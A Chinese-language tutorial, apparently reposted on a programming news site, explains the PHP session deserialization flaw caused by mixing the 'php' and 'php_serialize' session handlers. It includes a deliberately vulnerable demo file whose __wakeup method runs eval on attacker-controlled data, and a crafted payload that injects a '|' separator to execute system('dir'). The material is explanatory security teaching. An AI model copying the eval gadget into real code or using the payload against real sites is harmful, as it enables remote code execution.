返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHPsession反序列化漏洞深入探究
  • 502
分享到

PHPsession反序列化漏洞深入探究

PHPsessionPHPsession反序列化 2022-11-16 00:11:28 502人浏览 安东尼
摘要

目录PHP sessionphp三种序列化处理器PHP session php session 反序列化漏洞存在的原因:当序列化session和读取反序列化字符时采用的序列化选择器不

PHP session

php session 反序列化漏洞存在的原因:当序列化session和读取反序列化字符时采用的序列化选择器不一样时,处理的方法不一样。

php三种序列化处理器

序列化处理器
php            (php默认中使用的序列化)   存储格式为:键名 + 竖线 + 经过serialize()函数反序列化处理的值

php_binary   存储格式:键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值

php_serialize 在php版本>5.5.4中可以选择使用   存储格式:经过serialize()函数反序列处理的数组

通过php.ini 可以设置保存路径配置 php session 参数是 session.save_path=“保存路径”

php 中配置session序列化处理器通过ini_set()方法进行选择 :ini_set(‘session.serialize_handler’, ‘处理器’);

生成session php_serialize序列化处理器

demo2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();//创建一个session 会话(当客户端第一次访问时会生成一个随机的session文件在指定保存目录中)
$_SESSION['session'] = $_GET['k'];
var_dump($_SESSION);

访问该页面

查看session 文件保存路径,生成了一个sess_一串随机字符的文件,打开文件查看,从get提交的值以序列化的格式存储到该文件。

在读取session时使用不一样的序列化处理器,使用php_serialize 序列化处理会把 符号 “|“作为一个正常的字符处理。而php序列化处理器会把”|” 当成分割符处理。

ctf.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
    public $name;
    function __wakeup(){
        eval($this->name);
    }
}

构造成反序列化payload为:k=|O:4:“test”:1:{s:4:“name”;s:17:“system(‘dir’);”;}

访问demo2.php

查看sess文件内容:| 分割符被传递了进去

再访问ctf.php,触发了__wakeup函数从而执行了eval代码执行命令,由于使用不同的序列化处理器来处理session文件,序列化对特殊符号的处理方法不一样,从而导致产生了漏洞

到此这篇关于PHP session反序列化漏洞深入探究的文章就介绍到这了,更多相关PHP session反序列化内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: PHPsession反序列化漏洞深入探究

本文链接: https://lsjlt.com/news/173028.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作